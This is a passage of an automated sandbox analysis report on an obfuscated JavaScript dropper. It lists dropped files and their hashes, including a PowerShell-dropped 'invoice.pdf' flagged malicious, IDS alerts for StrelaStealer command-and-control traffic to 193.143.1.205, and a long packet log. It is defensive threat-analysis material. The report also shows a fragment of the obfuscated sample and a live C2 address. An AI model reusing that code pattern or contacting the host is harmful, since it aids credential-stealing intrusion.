SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zma:EGvIcNYdF4Zw
MD5:	51290745A068E78EF5802391FE340C87
SHA1:	77250F265518B2FFD2B9D86D10766905DA1CE19F
SHA-256:	E4E401502815442202A45896B14BA926D571855F34FA7E321F0C2973F7CD3580
SHA-512:	B212F453038FAF2C471C2ECEE74E6E8AE12F6B2528FDD3E4EE9F034AC7C1B287218D1EA936B8390F7434C8A80A6AEBFEB48370C283A021C49AFFFE15D0409FEE
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\01be9d04-831e-4957-87be-351ca21cf696.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\07e6d4d0-4f0f-4c34-bffe-2b572a86d446.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6D0WL07oSwYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:c0WLxSwZGBGZn3mlind9i4ufFXpAXkru
MD5:	56534833939D2F911724BC50CFC9A59E
SHA1:	02ED4C3136DA23C8CFBDFE382BEF67EAE0F4B10D
SHA-256:	CD5B160A2AB37E07C0F88E5CCB407424D4C184116D0098D130AAD55ED13BE77A
SHA-512:	10FCBBD240E661ED025C05464E250598A9158AF9CFDF8BC1AE380638D0A152E466CB4964890F30224954A67A435E626866E208F33E161E4E43DF42EAB07A45DC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cbd13fbf-ebd6-41cb-a4ed-9ea487920c53.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1111944
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121D1ybxrr/IxkB1mabFhOXZ/fEa+fDERXTJJJJv+9UZwY0SWB4:O3Pjegf121DMNB1DofjEiJJJJm94GS84
MD5:	FA6978A9EA472E8ACFF72AFE8CC7CC81
SHA1:	D58155446B67ACF4DA331A977B8EC7BA105C2C4F
SHA-256:	3D0DF2B14FC632520705424D2DA394922D3EDD8C977950656B736352CD5A37E2
SHA-512:	6B16382E6A4B9EECB8E8FB82189C2741511E8CF99C83B3FA52B062165B3B366EE0C11A7F60CE4B08D881B2418234097FA13CCAA9C90B1D7D37BD4D9A56EBA96C
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\dce9c349-65f5-422c-81be-cf362f66545c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15507), with CRLF line terminators
Entropy (8bit):	4.941179634425904
TrID:
File name:	12621132703258916868.js
File size:	19'180 bytes
MD5:	024cb07ba789e6b9085c589ec5455fdf
SHA1:	f490b704e6b225f19431a9196cc0e25cb8bb7665
SHA256:	de2da874d4698eab6bc427f50bcfe44c57770ea644b2111d12e87715544a984d
SHA512:	1b11c9467a1b2053dc98f264c29c690e3b45d930ee84c1e34b2d6e4cc2921e00203e3cae83e5af9b4e511636263e0b03104a177edca276ecea2ec4fbaf130d74
SSDEEP:	192:f9mUNdNN8OXotX8wzMe0bGX+JO6FEoLPJ29AgxxiwsvZhPLmKMlF2oxjOJpvXROg:TdtotB4hGXF6FEoY9AxwsnTcRvYEF+
TLSH:	738296CD2400C7B47DF44AB1543F2083AC0DA3845A1414AFE53661897B9AEB5BDF627F
File Content Preview:	function mixxqpsyw(){siolrjate=[1031,3079,5127,4103,2055,3072];var rjbjurhz=this[yjalkskwi+uxjydu+gttqrdqep+gztkotabb+indqbtln+izfpw+grogj+lousyek](this[hgokvbilw+ynezaeyny+pwhwoojt+gttqrdqep+rqiaogys+yjalkskwi+lousyek][gcgqxxccu+gttqrdqep+indqbtln+uxjydu

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:01:12.566999+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49738	193.143.1.205	80	TCP
2025-01-11T01:01:12.566999+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49738	193.143.1.205	80	TCP
2025-01-11T01:01:15.023790+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49755	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:01:11.786962032 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:11.793193102 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:11.793275118 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:11.796508074 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:11.802706957 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.566905022 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.566956043 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.566975117 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.566987038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.566998959 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.566998959 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.567012072 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.567023993 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.567035913 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.567055941 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.567065001 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.567070007 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.567084074 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.567094088 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.567125082 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.571913004 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.609587908 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.609600067 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.609637976 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.664402962 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.695421934 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.695436001 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.695446014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.695456982 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.695470095 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.695498943 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.695549011 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.695801020 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.695812941 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.695822954 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.695833921 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.695842028 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.695844889 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.695861101 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.695888996 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.696670055 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.696681976 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.696693897 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.696703911 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.696716070 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.696717978 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.696748972 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.697520971 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.697537899 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.697549105 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.697556973 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.697561026 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.697575092 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.697582960 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.697613001 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.698340893 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.743077040 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.743089914 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.743102074 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.743180037 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.773871899 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.773884058 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.773916006 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.807180882 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.807249069 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.807260036 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.807261944 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.807271957 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.807300091 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.807456970 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.807473898 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.807486057 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.807496071 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.807496071 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.807509899 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.807519913 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.807523012 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.807543039 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.808182955 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.808224916 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.808229923 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.808242083 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.808254004 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.808264017 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.808274031 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.808278084 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.808285952 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.808295965 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.808341026 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.809051037 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809062958 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809072971 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809083939 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809113026 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.809144020 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.809514046 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809530020 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809540987 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809550047 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809560061 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809570074 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809571981 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.809582949 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.809597969 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.809639931 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.810370922 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.810388088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.810399055 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.810410023 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.810416937 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.810424089 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.810435057 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.810445070 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.810451984 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.810487986 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.811305046 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.811321974 CET	80	49738	193.143.1.205	192.168.2.10
